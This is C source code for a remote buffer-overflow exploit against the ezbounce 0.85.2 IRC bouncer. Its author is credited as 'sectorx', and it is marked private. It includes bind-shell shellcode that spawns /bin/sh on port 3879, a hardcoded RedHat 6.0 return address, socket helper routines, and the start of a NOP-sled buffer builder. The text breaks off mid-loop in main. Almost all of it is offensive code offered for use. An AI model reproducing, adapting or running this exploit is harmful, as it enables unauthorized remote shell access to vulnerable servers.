/* ezbounce version (0.85.2 and probably others) exploit by sectorx * mad thanks to duke for helping me with the segment probe code :) * I included the offset of RedHat 6.0's RPM, feel free to report me of * any other offsets of precompiled binaries. * * PRIVATE! DO NOT DISTRIBUTE!! */ #include #include #include #include #include #include #include #include #include #include #define MAX 4096 #define TIMEOUT 1 #define SIZE 400 #define TOP 310 #define ADDR 0xbffff26c /* ezbounce 0.85.2 RedHat 6.0 RPM offset */ /* bind a shell on port 3879 by lamagra */ char shellcode[]= "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int Connect(int ip, int port) { int fd; struct sockaddr_in a; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) return -1; a.sin_family = AF_INET; a.sin_port = htons(port); a.sin_addr.s_addr = ip; if (connect(fd,(struct sockaddr*)&a,sizeof(struct sockaddr))<0) return -1; return fd; } int sprint(int fd, const char *str, ...) { va_list args; char buf[MAX]; va_start(args,str); vsnprintf(buf,MAX,str,args); printf("-> %s",buf); return(write(fd,buf,strlen(buf))); } int Datawatch(int fd, int sec) { fd_set fds; struct timeval tv; tv.tv_sec = sec; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(fd,&fds); if (select(fd+1,&fds,NULL,NULL,&tv)) return 1; return 0; } int Get(int fd, char *grep) { char buf[MAX]; int ret=0; while (Datawatch(fd,TIMEOUT)>0) { memset(&buf,0,sizeof(buf)); read(fd,&buf,sizeof(buf)); if (strstr(buf,grep)) ++ret; } return ret; } int main(int argc, char *argv[]) { int i,fd; char buf[SIZE]; printf("ezbounce remote exploit by sectorx of xor\n"); if (argc<6) { printf("Usage: %s \n\n",argv[0]); return; } memset(&buf,0x90,sizeof(buf)); for (i=TOP+2;i